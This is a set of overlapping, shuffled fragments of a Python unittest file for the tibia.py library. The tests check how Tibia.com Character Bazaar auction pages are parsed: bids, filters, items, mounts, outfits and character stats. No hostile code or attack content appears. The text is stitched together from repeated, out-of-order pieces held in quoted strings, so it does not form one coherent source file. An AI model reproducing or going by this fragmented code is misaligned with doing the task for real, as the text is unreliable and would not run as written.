"self.assertEqual(1, bazaar.filters.min_level) self.assertEqual(1000, bazaar.filters.max_level) self.assertEqual(SkillFilter.MAGIC_LEVEL, bazaar.filters.skill) self.assertEqual(1, bazaar.filters.min_skill_level) self.assertEqual(50, bazaar.filters.max_skill_level) self.assertEqual(AuctionOrderBy.SHIELDING, bazaar.filters.order_by) self.assertEqual(AuctionOrder.HIGHEST_LATEST,",
"auction.speed) self.assertEqual(0, auction.blessings_count) self.assertEqual(23, auction.mounts_count) self.assertEqual(35, auction.outfits_count) self.assertEqual(16, auction.titles_count) self.assertEqual(8, len(auction.skills)) self.assertEqual(128, auction.skills_map[\"Distance",
"auction.mounts_count) self.assertEqual(35, auction.outfits_count) self.assertEqual(16, auction.titles_count) self.assertEqual(8, len(auction.skills)) self.assertEqual(128, auction.skills_map[\"Distance Fighting\"].level) self.assertEqual(11.43, auction.skills_map[\"Distance Fighting\"].progress)",
"self.assertEqual(Sex.MALE, auction.sex) self.assertEqual(BidType.WINNING, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertEqual(1, len(auction.displayed_items)) self.assertEqual(143, auction.outfit.outfit_id) first_item = auction.displayed_items[0] self.assertEqual(1,",
"FILE_BAZAAR_CURRENT_EMPTY = \"bazaar/tibiacom_history_empty.txt\" FILE_BAZAAR_CURRENT = \"bazaar/tibiacom_current.txt\" FILE_BAZAAR_CURRENT_ALL_FILTERS = \"bazaar/tibiacom_current_all_filters.txt\" FILE_BAZAAR_HISTORY = \"bazaar/tibiacom_history.txt\" FILE_AUCTION_FINISHED",
"InvalidContent, PvpTypeFilter, \\ Sex, SkillFilter, \\ Vocation, VocationAuctionFilter FILE_BAZAAR_CURRENT_EMPTY = \"bazaar/tibiacom_history_empty.txt\" FILE_BAZAAR_CURRENT =",
"auction.level) self.assertEqual(Vocation.ROYAL_PALADIN, auction.vocation) self.assertEqual(Sex.MALE, auction.sex) self.assertEqual(\"Wintera\", auction.world) self.assertIsNotNone(auction.outfit) self.assertEqual(1322, auction.outfit.outfit_id) self.assertEqual(4, len(auction.displayed_items)) self.assertEqual(\"gnome",
"skip_details=True) self.assertIsNotNone(auction) # Listing box self.assertEqual(\"Vireloz\", auction.name) self.assertIn(auction.name, auction.character_url) self.assertIn(str(auction.auction_id), auction.url) self.assertEqual(1161, auction.level)",
"auction.displayed_items[2].name) self.assertEqual(\"lion spangenhelm\", auction.displayed_items[3].name) self.assertEqual(330000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertEqual(AuctionStatus.FINISHED, auction.status) def test_auction_details_from_content_not_found(self): auction",
"<reponame>vitorruiz/tibia.py import datetime import unittest from tests.tests_tibiapy import TestCommons from tibiapy import Auction,",
"bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_ALL_FILTERS)) self.assertIsNotNone(bazaar) self.assertEqual(1, bazaar.page) self.assertEqual(4, bazaar.total_pages) self.assertEqual(92, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url)",
"len(auction.store_items.entries)) self.assertEqual(1, auction.store_items.total_pages) self.assertEqual(16, auction.store_items.results) self.assertEqual(23721, auction.store_items.get_by_name(\"gold pouch\").item_id) self.assertEqual(\"gold pouch\", auction.store_items.get_by_id(23721).name) self.assertEqual(2, len(auction.store_items.search('rune')))",
"self.assertEqual(18, len(auction.imbuements)) self.assertEqual(8, len(auction.charms)) self.assertEqual(0, len(auction.completed_cyclopedia_map_areas)) self.assertEqual(16, len(auction.titles)) self.assertEqual(217, len(auction.achievements)) self.assertEqual(509, len(auction.bestiary_progress)) self.assertEqual(205,",
"AuctionSearchType, AuctionStatus, BattlEyeTypeFilter, \\ BidType, \\ CharacterBazaar, \\ InvalidContent, PvpTypeFilter, \\ Sex, SkillFilter,",
"bazaar.filters.order_by) self.assertEqual(AuctionOrder.HIGHEST_LATEST, bazaar.filters.order) self.assertEqual(AuctionSearchType.ITEM_WILDCARD, bazaar.filters.search_type) def test_character_bazaar_from_content_empty(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_EMPTY)) self.assertIsNotNone(bazaar) self.assertFalse(bazaar.entries) def",
"first_item.item_id) self.assertEqual(\"dream blossom staff\", first_item.name) self.assertIsNotNone(first_item.image_url) self.assertIsNone(bazaar.filters) def test_character_bazaar_from_content_unrelated(self): \"\"\"Testing parsing an unrelated",
"bazaar.filters.vocation) self.assertEqual(1, bazaar.filters.min_level) self.assertEqual(1000, bazaar.filters.max_level) self.assertEqual(SkillFilter.MAGIC_LEVEL, bazaar.filters.skill) self.assertEqual(1, bazaar.filters.min_skill_level) self.assertEqual(50, bazaar.filters.max_skill_level) self.assertEqual(AuctionOrderBy.SHIELDING, bazaar.filters.order_by)",
"Auction, AuctionOrder, AuctionOrderBy, AuctionSearchType, AuctionStatus, BattlEyeTypeFilter, \\ BidType, \\ CharacterBazaar, \\ InvalidContent, PvpTypeFilter,",
"self.assertEqual(36219, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(325058, auction.auction_id) self.assertEqual(900, auction.bid) self.assertEqual(\"Rcrazy",
"parsing an unrelated tibia.com section\"\"\" content = self.load_resource(self.FILE_UNRELATED_SECTION) with self.assertRaises(InvalidContent): CharacterBazaar.from_content(content) def test_auction_details_from_content_finished(self):",
"datetime.datetime) self.assertEqual(26006721711, auction.experience) self.assertEqual(41893, auction.gold) self.assertEqual(553, auction.achievement_points) self.assertIsNone(auction.regular_world_transfer_available_date) self.assertEqual(110, auction.available_charm_points) self.assertEqual(5800, auction.spent_charm_points) self.assertEqual(2,",
"self.assertEqual('Emberwing', auction.familiars.get_by_id(992).name) self.assertEqual(1, len(auction.familiars.search('ember'))) self.assertEqual(9, len(auction.blessings)) self.assertEqual(18, len(auction.imbuements)) self.assertEqual(8, len(auction.charms)) self.assertEqual(0, len(auction.completed_cyclopedia_map_areas)) self.assertEqual(16,",
"import Auction, AuctionOrder, AuctionOrderBy, AuctionSearchType, AuctionStatus, BattlEyeTypeFilter, \\ BidType, \\ CharacterBazaar, \\ InvalidContent,",
"= Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED), skip_details=True) self.assertIsNotNone(auction) # Listing box self.assertEqual(\"Vireloz\", auction.name) self.assertIn(auction.name, auction.character_url) self.assertIn(str(auction.auction_id), auction.url)",
"auction.store_items.total_pages) self.assertEqual(16, auction.store_items.results) self.assertEqual(23721, auction.store_items.get_by_name(\"gold pouch\").item_id) self.assertEqual(\"gold pouch\", auction.store_items.get_by_id(23721).name) self.assertEqual(2, len(auction.store_items.search('rune'))) self.assertIsNotNone(auction.mounts) self.assertEqual(22,",
"self.assertIsNone(bazaar.filters.world) self.assertIsNone(bazaar.filters.pvp_type) self.assertIsNone(bazaar.filters.battleye) self.assertIsNone(bazaar.filters.vocation) self.assertIsNone(bazaar.filters.min_level) self.assertIsNone(bazaar.filters.max_level) self.assertIsNone(bazaar.filters.skill) self.assertIsNone(bazaar.filters.min_skill_level) self.assertIsNone(bazaar.filters.max_skill_level) self.assertEqual(AuctionOrder.LOWEST_EARLIEST, bazaar.filters.order) def test_character_bazaar_from_content_current_all_filters_selected(self):",
"self.assertEqual(\"cigar\", auction.items.get_by_id(141).name) self.assertEqual(7, len(auction.items.search('backpack'))) self.assertIsNotNone(auction.store_items) self.assertEqual(16, len(auction.store_items.entries)) self.assertEqual(1, auction.store_items.total_pages) self.assertEqual(16, auction.store_items.results) self.assertEqual(23721, auction.store_items.get_by_name(\"gold",
"self.assertIsNotNone(auction.store_mounts) self.assertEqual(1, len(auction.store_mounts.entries)) self.assertEqual(1, auction.store_mounts.total_pages) self.assertEqual(1, auction.store_mounts.results) self.assertEqual(906, auction.store_mounts.get_by_name(\"Wolpertinger\").mount_id) self.assertEqual(\"Wolpertinger\", auction.store_mounts.get_by_id(906).name) self.assertEqual(1, len(auction.store_mounts.search('Wolpertinger')))",
"self.assertEqual(16, len(auction.store_items.entries)) self.assertEqual(1, auction.store_items.total_pages) self.assertEqual(16, auction.store_items.results) self.assertEqual(23721, auction.store_items.get_by_name(\"gold pouch\").item_id) self.assertEqual(\"gold pouch\", auction.store_items.get_by_id(23721).name) self.assertEqual(2,",
"auction.blessings_count) self.assertEqual(23, auction.mounts_count) self.assertEqual(35, auction.outfits_count) self.assertEqual(16, auction.titles_count) self.assertEqual(8, len(auction.skills)) self.assertEqual(128, auction.skills_map[\"Distance Fighting\"].level) self.assertEqual(11.43,",
"bazaar.entries[0] self.assertEqual(30237, auction.auction_id) self.assertEqual(800, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertEqual(0, len(auction.displayed_items)) self.assertIsNotNone(bazaar.filters) self.assertIsNone(bazaar.filters.world) self.assertIsNone(bazaar.filters.pvp_type)",
"self.assertIsNone(bazaar.filters.battleye) self.assertIsNone(bazaar.filters.vocation) self.assertIsNone(bazaar.filters.min_level) self.assertIsNone(bazaar.filters.max_level) self.assertIsNone(bazaar.filters.skill) self.assertIsNone(bazaar.filters.min_skill_level) self.assertIsNone(bazaar.filters.max_skill_level) self.assertEqual(AuctionOrder.LOWEST_EARLIEST, bazaar.filters.order) def test_character_bazaar_from_content_current_all_filters_selected(self): bazaar =",
"Engineer', auction.outfits.get_by_id(610).name) self.assertEqual(2, len(auction.outfits.search('demon'))) self.assertIsNotNone(auction.store_outfits) self.assertEqual(2, len(auction.store_outfits.entries)) self.assertEqual(1, auction.store_outfits.total_pages) self.assertEqual(2, auction.store_outfits.results) self.assertEqual(962, auction.store_outfits.get_by_name(\"retro",
"self.assertEqual(VocationAuctionFilter.KNIGHT, bazaar.filters.vocation) self.assertEqual(1, bazaar.filters.min_level) self.assertEqual(1000, bazaar.filters.max_level) self.assertEqual(SkillFilter.MAGIC_LEVEL, bazaar.filters.skill) self.assertEqual(1, bazaar.filters.min_skill_level) self.assertEqual(50, bazaar.filters.max_skill_level) self.assertEqual(AuctionOrderBy.SHIELDING,",
"Illuminati\", auction.name) self.assertEqual(255, auction.level) self.assertEqual(\"Celebra\", auction.world) self.assertEqual(Vocation.MASTER_SORCERER, auction.vocation) self.assertEqual(Sex.MALE, auction.sex) self.assertEqual(BidType.WINNING, auction.bid_type) self.assertIsNotNone(auction.character_url)",
"FILE_BAZAAR_CURRENT = \"bazaar/tibiacom_current.txt\" FILE_BAZAAR_CURRENT_ALL_FILTERS = \"bazaar/tibiacom_current_all_filters.txt\" FILE_BAZAAR_HISTORY = \"bazaar/tibiacom_history.txt\" FILE_AUCTION_FINISHED = \"bazaar/tibiacom_auction_finished.txt\" FILE_AUCTION_NOT_FOUND",
"Listing box self.assertEqual(\"Vireloz\", auction.name) self.assertIn(auction.name, auction.character_url) self.assertIn(str(auction.auction_id), auction.url) self.assertEqual(1161, auction.level) self.assertEqual(Vocation.ROYAL_PALADIN, auction.vocation) self.assertEqual(Sex.MALE,",
"self.assertEqual(128, auction.skills_map[\"Distance Fighting\"].level) self.assertEqual(11.43, auction.skills_map[\"Distance Fighting\"].progress) self.assertIsInstance(auction.creation_date, datetime.datetime) self.assertEqual(26006721711, auction.experience) self.assertEqual(41893, auction.gold) self.assertEqual(553,",
"test_auction_details_from_content_unrelated(self): \"\"\"Testing parsing an unrelated tibia.com section\"\"\" content = self.load_resource(self.FILE_UNRELATED_SECTION) with self.assertRaises(InvalidContent): Auction.from_content(content)",
"datetime import unittest from tests.tests_tibiapy import TestCommons from tibiapy import Auction, AuctionOrder, AuctionOrderBy,",
"bazaar.filters.skill) self.assertEqual(1, bazaar.filters.min_skill_level) self.assertEqual(50, bazaar.filters.max_skill_level) self.assertEqual(AuctionOrderBy.SHIELDING, bazaar.filters.order_by) self.assertEqual(AuctionOrder.HIGHEST_LATEST, bazaar.filters.order) self.assertEqual(AuctionSearchType.ITEM_WILDCARD, bazaar.filters.search_type) def test_character_bazaar_from_content_empty(self):",
"auction = Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED), skip_details=True) self.assertIsNotNone(auction) # Listing box self.assertEqual(\"Vireloz\", auction.name) self.assertIn(auction.name, auction.character_url) self.assertIn(str(auction.auction_id),",
"with self.assertRaises(InvalidContent): CharacterBazaar.from_content(content) def test_auction_details_from_content_finished(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED)) self.assertIsNotNone(auction) # Listing box self.assertEqual(\"Vireloz\",",
"bazaar.total_pages) self.assertEqual(92, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(82526, auction.auction_id) self.assertEqual(57000, auction.bid)",
"armor\", auction.displayed_items[0].name) self.assertEqual(\"falcon coif\", auction.displayed_items[1].name) self.assertEqual(\"pair of soulstalkers\", auction.displayed_items[2].name) self.assertEqual(\"lion spangenhelm\", auction.displayed_items[3].name) self.assertEqual(330000,",
"self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertEqual(AuctionStatus.FINISHED, auction.status) self.assertEqual(11715, auction.hit_points) self.assertEqual(17385, auction.mana) self.assertEqual(23530, auction.capacity) self.assertEqual(1270, auction.speed) self.assertEqual(0,",
"= bazaar.entries[0] self.assertEqual(82526, auction.auction_id) self.assertEqual(57000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertIsNotNone(bazaar.filters) self.assertEqual('Antica', bazaar.filters.world) self.assertEqual(PvpTypeFilter.OPEN_PVP,",
"auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertIsNotNone(bazaar.filters) self.assertEqual('Antica', bazaar.filters.world) self.assertEqual(PvpTypeFilter.OPEN_PVP, bazaar.filters.pvp_type) self.assertEqual(BattlEyeTypeFilter.PROTECTED, bazaar.filters.battleye) self.assertEqual(VocationAuctionFilter.KNIGHT, bazaar.filters.vocation) self.assertEqual(1, bazaar.filters.min_level)",
"self.assertEqual('Antica', bazaar.filters.world) self.assertEqual(PvpTypeFilter.OPEN_PVP, bazaar.filters.pvp_type) self.assertEqual(BattlEyeTypeFilter.PROTECTED, bazaar.filters.battleye) self.assertEqual(VocationAuctionFilter.KNIGHT, bazaar.filters.vocation) self.assertEqual(1, bazaar.filters.min_level) self.assertEqual(1000, bazaar.filters.max_level) self.assertEqual(SkillFilter.MAGIC_LEVEL,",
"self.assertEqual(26006721711, auction.experience) self.assertEqual(41893, auction.gold) self.assertEqual(553, auction.achievement_points) self.assertIsNone(auction.regular_world_transfer_available_date) self.assertEqual(110, auction.available_charm_points) self.assertEqual(5800, auction.spent_charm_points) self.assertEqual(2, auction.daily_reward_streak)",
"auction = bazaar.entries[0] self.assertEqual(325058, auction.auction_id) self.assertEqual(900, auction.bid) self.assertEqual(\"Rcrazy Illuminati\", auction.name) self.assertEqual(255, auction.level) self.assertEqual(\"Celebra\",",
"self.assertIsNotNone(auction.character_url) self.assertEqual(0, len(auction.displayed_items)) self.assertIsNotNone(bazaar.filters) self.assertIsNone(bazaar.filters.world) self.assertIsNone(bazaar.filters.pvp_type) self.assertIsNone(bazaar.filters.battleye) self.assertIsNone(bazaar.filters.vocation) self.assertIsNone(bazaar.filters.min_level) self.assertIsNone(bazaar.filters.max_level) self.assertIsNone(bazaar.filters.skill) self.assertIsNone(bazaar.filters.min_skill_level) self.assertIsNone(bazaar.filters.max_skill_level)",
"self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(82526, auction.auction_id) self.assertEqual(57000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertIsNotNone(bazaar.filters) self.assertEqual('Antica',",
"self.assertEqual(\"lion spangenhelm\", auction.displayed_items[3].name) self.assertEqual(330000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertEqual(AuctionStatus.FINISHED, auction.status) def test_auction_details_from_content_not_found(self): auction =",
"\"bazaar/tibiacom_current_all_filters.txt\" FILE_BAZAAR_HISTORY = \"bazaar/tibiacom_history.txt\" FILE_AUCTION_FINISHED = \"bazaar/tibiacom_auction_finished.txt\" FILE_AUCTION_NOT_FOUND = \"bazaar/tibiacom_auction_not_found.txt\" class TestBazaar(TestCommons, unittest.TestCase):",
"self.assertEqual(1, auction.permanent_prey_slots) self.assertEqual(1, auction.hirelings) self.assertEqual(3, auction.hireling_jobs) self.assertEqual(0, auction.hireling_outfits) self.assertIsNotNone(auction.items) self.assertEqual(76, len(auction.items.entries)) self.assertEqual(8, auction.items.total_pages)",
"self.assertEqual(23721, auction.store_items.get_by_name(\"gold pouch\").item_id) self.assertEqual(\"gold pouch\", auction.store_items.get_by_id(23721).name) self.assertEqual(2, len(auction.store_items.search('rune'))) self.assertIsNotNone(auction.mounts) self.assertEqual(22, len(auction.mounts.entries)) self.assertEqual(1, auction.mounts.total_pages)",
"self.assertEqual(255, auction.level) self.assertEqual(\"Celebra\", auction.world) self.assertEqual(Vocation.MASTER_SORCERER, auction.vocation) self.assertEqual(Sex.MALE, auction.sex) self.assertEqual(BidType.WINNING, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertEqual(1, len(auction.displayed_items))",
"self.assertEqual(217, len(auction.achievements)) self.assertEqual(509, len(auction.bestiary_progress)) self.assertEqual(205, len(auction.completed_bestiary_entries)) def test_auction_details_from_content_finished_skip_details(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED), skip_details=True) self.assertIsNotNone(auction)",
"from tibiapy import Auction, AuctionOrder, AuctionOrderBy, AuctionSearchType, AuctionStatus, BattlEyeTypeFilter, \\ BidType, \\ CharacterBazaar,",
"auction.outfits.results) self.assertEqual(151, auction.outfits.get_by_name(\"pirate\").outfit_id) self.assertEqual('Glooth Engineer', auction.outfits.get_by_id(610).name) self.assertEqual(2, len(auction.outfits.search('demon'))) self.assertIsNotNone(auction.store_outfits) self.assertEqual(2, len(auction.store_outfits.entries)) self.assertEqual(1, auction.store_outfits.total_pages)",
"self.assertIsNone(bazaar.filters.pvp_type) self.assertIsNone(bazaar.filters.battleye) self.assertIsNone(bazaar.filters.vocation) self.assertIsNone(bazaar.filters.min_level) self.assertIsNone(bazaar.filters.max_level) self.assertIsNone(bazaar.filters.skill) self.assertIsNone(bazaar.filters.min_skill_level) self.assertIsNone(bazaar.filters.max_skill_level) self.assertEqual(AuctionOrder.LOWEST_EARLIEST, bazaar.filters.order) def test_character_bazaar_from_content_current_all_filters_selected(self): bazaar",
"bazaar.page) self.assertEqual(4, bazaar.total_pages) self.assertEqual(92, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(82526, auction.auction_id)",
"auction.spent_charm_points) self.assertEqual(2, auction.daily_reward_streak) self.assertEqual(1494, auction.hunting_task_points) self.assertEqual(0, auction.permanent_hunting_task_slots) self.assertEqual(1, auction.permanent_prey_slots) self.assertEqual(1, auction.hirelings) self.assertEqual(3, auction.hireling_jobs)",
"self.assertEqual(1, auction.familiars.results) self.assertEqual(992, auction.familiars.get_by_name(\"emberwing\").familiar_id) self.assertEqual('Emberwing', auction.familiars.get_by_id(992).name) self.assertEqual(1, len(auction.familiars.search('ember'))) self.assertEqual(9, len(auction.blessings)) self.assertEqual(18, len(auction.imbuements)) self.assertEqual(8,",
"self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(325058, auction.auction_id) self.assertEqual(900, auction.bid) self.assertEqual(\"Rcrazy Illuminati\", auction.name) self.assertEqual(255, auction.level)",
"self.assertEqual(11.43, auction.skills_map[\"Distance Fighting\"].progress) self.assertIsInstance(auction.creation_date, datetime.datetime) self.assertEqual(26006721711, auction.experience) self.assertEqual(41893, auction.gold) self.assertEqual(553, auction.achievement_points) self.assertIsNone(auction.regular_world_transfer_available_date) self.assertEqual(110,",
"len(auction.skills)) self.assertEqual(128, auction.skills_map[\"Distance Fighting\"].level) self.assertEqual(11.43, auction.skills_map[\"Distance Fighting\"].progress) self.assertIsInstance(auction.creation_date, datetime.datetime) self.assertEqual(26006721711, auction.experience) self.assertEqual(41893, auction.gold)",
"self.assertEqual(92, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(82526, auction.auction_id) self.assertEqual(57000, auction.bid) self.assertEqual(BidType.MINIMUM,",
"self.assertEqual('Retro Warrior', auction.store_outfits.get_by_id(962).name) self.assertEqual(2, len(auction.store_outfits.search('retro'))) self.assertIsNotNone(auction.familiars) self.assertEqual(1, len(auction.familiars.entries)) self.assertEqual(1, auction.familiars.total_pages) self.assertEqual(1, auction.familiars.results) self.assertEqual(992,",
"self.assertIsNotNone(auction.store_outfits) self.assertEqual(2, len(auction.store_outfits.entries)) self.assertEqual(1, auction.store_outfits.total_pages) self.assertEqual(2, auction.store_outfits.results) self.assertEqual(962, auction.store_outfits.get_by_name(\"retro warrior\").outfit_id) self.assertEqual('Retro Warrior', auction.store_outfits.get_by_id(962).name)",
"auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertIsNotNone(bazaar.filters) self.assertEqual('Antica', bazaar.filters.world) self.assertEqual(PvpTypeFilter.OPEN_PVP, bazaar.filters.pvp_type) self.assertEqual(BattlEyeTypeFilter.PROTECTED, bazaar.filters.battleye) self.assertEqual(VocationAuctionFilter.KNIGHT, bazaar.filters.vocation)",
"len(auction.store_mounts.entries)) self.assertEqual(1, auction.store_mounts.total_pages) self.assertEqual(1, auction.store_mounts.results) self.assertEqual(906, auction.store_mounts.get_by_name(\"Wolpertinger\").mount_id) self.assertEqual(\"Wolpertinger\", auction.store_mounts.get_by_id(906).name) self.assertEqual(1, len(auction.store_mounts.search('Wolpertinger'))) self.assertIsNotNone(auction.outfits) self.assertEqual(30,",
"bazaar.total_pages) self.assertEqual(12031, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(30237, auction.auction_id) self.assertEqual(800, auction.bid)",
"CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_ALL_FILTERS)) self.assertIsNotNone(bazaar) self.assertEqual(1, bazaar.page) self.assertEqual(4, bazaar.total_pages) self.assertEqual(92, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction =",
"self.assertEqual(25700, first_item.item_id) self.assertEqual(\"dream blossom staff\", first_item.name) self.assertIsNotNone(first_item.image_url) self.assertIsNone(bazaar.filters) def test_character_bazaar_from_content_unrelated(self): \"\"\"Testing parsing an",
"auction.auction_id) self.assertEqual(900, auction.bid) self.assertEqual(\"Rcrazy Illuminati\", auction.name) self.assertEqual(255, auction.level) self.assertEqual(\"Celebra\", auction.world) self.assertEqual(Vocation.MASTER_SORCERER, auction.vocation) self.assertEqual(Sex.MALE,",
"= CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_EMPTY)) self.assertIsNotNone(bazaar) self.assertFalse(bazaar.entries) def test_character_bazaar_from_content_history(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_HISTORY)) self.assertIsNotNone(bazaar) self.assertEqual(1, bazaar.page) self.assertEqual(1449,",
"test_auction_details_from_content_finished(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED)) self.assertIsNotNone(auction) # Listing box self.assertEqual(\"Vireloz\", auction.name) self.assertIn(auction.name, auction.character_url) self.assertIn(str(auction.auction_id),",
"self.assertEqual(23530, auction.capacity) self.assertEqual(1270, auction.speed) self.assertEqual(0, auction.blessings_count) self.assertEqual(23, auction.mounts_count) self.assertEqual(35, auction.outfits_count) self.assertEqual(16, auction.titles_count) self.assertEqual(8,",
"self.assertEqual(AuctionOrder.HIGHEST_LATEST, bazaar.filters.order) self.assertEqual(AuctionSearchType.ITEM_WILDCARD, bazaar.filters.search_type) def test_character_bazaar_from_content_empty(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_EMPTY)) self.assertIsNotNone(bazaar) self.assertFalse(bazaar.entries) def test_character_bazaar_from_content_history(self):",
"auction.auction_id) self.assertEqual(57000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertIsNotNone(bazaar.filters) self.assertEqual('Antica', bazaar.filters.world) self.assertEqual(PvpTypeFilter.OPEN_PVP, bazaar.filters.pvp_type) self.assertEqual(BattlEyeTypeFilter.PROTECTED, bazaar.filters.battleye)",
"Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED), skip_details=True) self.assertIsNotNone(auction) # Listing box self.assertEqual(\"Vireloz\", auction.name) self.assertIn(auction.name, auction.character_url) self.assertIn(str(auction.auction_id), auction.url) self.assertEqual(1161,",
"auction.auction_id) self.assertEqual(800, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertEqual(0, len(auction.displayed_items)) self.assertIsNotNone(bazaar.filters) self.assertIsNone(bazaar.filters.world) self.assertIsNone(bazaar.filters.pvp_type) self.assertIsNone(bazaar.filters.battleye) self.assertIsNone(bazaar.filters.vocation)",
"\\ CharacterBazaar, \\ InvalidContent, PvpTypeFilter, \\ Sex, SkillFilter, \\ Vocation, VocationAuctionFilter FILE_BAZAAR_CURRENT_EMPTY =",
"bazaar.filters.min_skill_level) self.assertEqual(50, bazaar.filters.max_skill_level) self.assertEqual(AuctionOrderBy.SHIELDING, bazaar.filters.order_by) self.assertEqual(AuctionOrder.HIGHEST_LATEST, bazaar.filters.order) self.assertEqual(AuctionSearchType.ITEM_WILDCARD, bazaar.filters.search_type) def test_character_bazaar_from_content_empty(self): bazaar =",
"bazaar.filters.search_type) def test_character_bazaar_from_content_empty(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_EMPTY)) self.assertIsNotNone(bazaar) self.assertFalse(bazaar.entries) def test_character_bazaar_from_content_history(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_HISTORY))",
"self.assertIsNotNone(first_item.image_url) self.assertIsNone(bazaar.filters) def test_character_bazaar_from_content_unrelated(self): \"\"\"Testing parsing an unrelated tibia.com section\"\"\" content = self.load_resource(self.FILE_UNRELATED_SECTION)",
"self.assertEqual(0, auction.permanent_hunting_task_slots) self.assertEqual(1, auction.permanent_prey_slots) self.assertEqual(1, auction.hirelings) self.assertEqual(3, auction.hireling_jobs) self.assertEqual(0, auction.hireling_outfits) self.assertIsNotNone(auction.items) self.assertEqual(76, len(auction.items.entries))",
"self.assertEqual(1270, auction.speed) self.assertEqual(0, auction.blessings_count) self.assertEqual(23, auction.mounts_count) self.assertEqual(35, auction.outfits_count) self.assertEqual(16, auction.titles_count) self.assertEqual(8, len(auction.skills)) self.assertEqual(128,",
"auction.outfit.outfit_id) self.assertEqual(4, len(auction.displayed_items)) self.assertEqual(\"gnome armor\", auction.displayed_items[0].name) self.assertEqual(\"falcon coif\", auction.displayed_items[1].name) self.assertEqual(\"pair of soulstalkers\", auction.displayed_items[2].name)",
"self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(30237, auction.auction_id) self.assertEqual(800, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertEqual(0, len(auction.displayed_items))",
"self.assertEqual(1494, auction.hunting_task_points) self.assertEqual(0, auction.permanent_hunting_task_slots) self.assertEqual(1, auction.permanent_prey_slots) self.assertEqual(1, auction.hirelings) self.assertEqual(3, auction.hireling_jobs) self.assertEqual(0, auction.hireling_outfits) self.assertIsNotNone(auction.items)",
"Sex, SkillFilter, \\ Vocation, VocationAuctionFilter FILE_BAZAAR_CURRENT_EMPTY = \"bazaar/tibiacom_history_empty.txt\" FILE_BAZAAR_CURRENT = \"bazaar/tibiacom_current.txt\" FILE_BAZAAR_CURRENT_ALL_FILTERS =",
"self.assertEqual(1, auction.store_items.total_pages) self.assertEqual(16, auction.store_items.results) self.assertEqual(23721, auction.store_items.get_by_name(\"gold pouch\").item_id) self.assertEqual(\"gold pouch\", auction.store_items.get_by_id(23721).name) self.assertEqual(2, len(auction.store_items.search('rune'))) self.assertIsNotNone(auction.mounts)",
"self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(30237, auction.auction_id) self.assertEqual(800, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertIsNotNone(auction.character_url)",
"auction.permanent_hunting_task_slots) self.assertEqual(1, auction.permanent_prey_slots) self.assertEqual(1, auction.hirelings) self.assertEqual(3, auction.hireling_jobs) self.assertEqual(0, auction.hireling_outfits) self.assertIsNotNone(auction.items) self.assertEqual(76, len(auction.items.entries)) self.assertEqual(8,",
"of soulstalkers\", auction.displayed_items[2].name) self.assertEqual(\"lion spangenhelm\", auction.displayed_items[3].name) self.assertEqual(330000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertEqual(AuctionStatus.FINISHED, auction.status) def",
"self.assertEqual(\"Wolpertinger\", auction.store_mounts.get_by_id(906).name) self.assertEqual(1, len(auction.store_mounts.search('Wolpertinger'))) self.assertIsNotNone(auction.outfits) self.assertEqual(30, len(auction.outfits.entries)) self.assertEqual(2, auction.outfits.total_pages) self.assertEqual(33, auction.outfits.results) self.assertEqual(151, auction.outfits.get_by_name(\"pirate\").outfit_id)",
